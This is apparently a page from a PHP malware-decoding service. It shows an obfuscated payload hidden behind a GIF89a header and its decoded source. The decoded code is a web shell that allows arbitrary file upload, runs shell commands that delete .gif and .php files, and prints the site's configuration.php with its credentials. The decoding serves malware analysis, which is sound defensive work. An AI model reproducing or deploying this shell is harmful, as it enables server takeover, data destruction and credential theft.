Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89aG <?php eval(gzinflate(str_rot13(base64_decode('nUbRQdswFH3gCaT+g3QixRkhKW/SNJpJGyM..

Decoded Output download

error_reporting(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "<title>+[ Powered by KcB ]+</title>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4,1ON(BuSuX)";
}
else {$safemode = false; $hsafemode = "OFF(WoKeH)";}
$os = wordwrap(php_uname(),90,"<br>",1);
$xos = "Safe-mode:[SAFE MODE: ".$hsafemode."]7[INFO: ".$os."]";
echo "<center> ".$xos." </center><br>";

if (!empty($_FILES)) {
	$tempFile = $_FILES['Fileupload']['tmp_name'];
	$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['kemana'] . '/';
	$targetFile =  str_replace('//','/',$targetPath) . $_FILES['Fileupload']['name'];
		move_uploaded_file($tempFile,$targetFile);
		echo "1";
}

echo "<pre><font size=3 color=#000000>".shell_exec('echo KcB#`pwd`#KcB; ls -lia; rm -vf *.gif')."</font></pre>";
if(isset($_GET['cmd'])){
echo "<pre><font size=3 color=#000000>".shell_exec('rm -f *.php')."</font></pre>";
}

if(isset($_GET['conf'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}

Did this file decode correctly?

Original Code

GIF89aG
<?php eval(gzinflate(str_rot13(base64_decode('nUbRQdswFH3gCaT+g3QixRkhKW/SNJpJGyMdiE66BrZWRHJP6rQWVhw5Di1Q/Puukw4ixNOqPsTn3mbP9ckJk0VVKkwppOLFgvStTmLHS/ECDUSlpBKZSzFWqvoWQXFlOqFOdfftUMtPwyHC0IiBwJKlQNhGXHJ5tBehiSaxObp9QOfJMZrtbGFb0808UuQzLzhdMFJjFaeM5m/OsIWE7He+2dPKigJbvZ3H3g4yZ1qXYF8leDbQ2LID4q0P9k5jVo7rsP56dv0n2DerGG3sZdMYoMErdzAek1/inJ0CD0uGqABdCTlfybgk5bKkaBHnjEv2p76NvVs5wvZOcOC6dsUhDNvX046i8MvYVBfBiX+EsPMi4+DZ1sfo7GUcNLioAOg4mrBPMTnSpbWuIc/dQI0aNLZ+vnBsqR6ITsd03/0QXAJitg0F6Jh0+i6bV3HqZl1zIp6bs8hHbFb1FczZoCHEEgyfxHfZQ09/+tOfU+ZW8PX6wr+8otMguDJ0yIHa1P9k7YdKkWzH8riIG9Rnzc6YjbJ+pTpgTJwwb7qudlCb3ZGymmxirvey2mku7hl6K3lBRnUjz/ezO4pJ093aarBs3c9plpKNvEcUCkj8DxseogSyJoe7/eY3wkG1cUxT2ZolxHk4EN/dm2U1v9mFpwHKKrSf8WuAcY7270b03kzw1LQc7Llt7MhmtVGbZcKrCtJ40GI+2JTkYyPLbfy/XbScSYPMvan21AbhlaQo0o2moZ9ozMEh/VpEOCsIRVKw47jw12i+qHKsuCi0DLb+pbDhd42/')))); ?>

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 29e2f9a4df050ea4b1504915b74b2f77
Eval Count 1
Decode Time 89 ms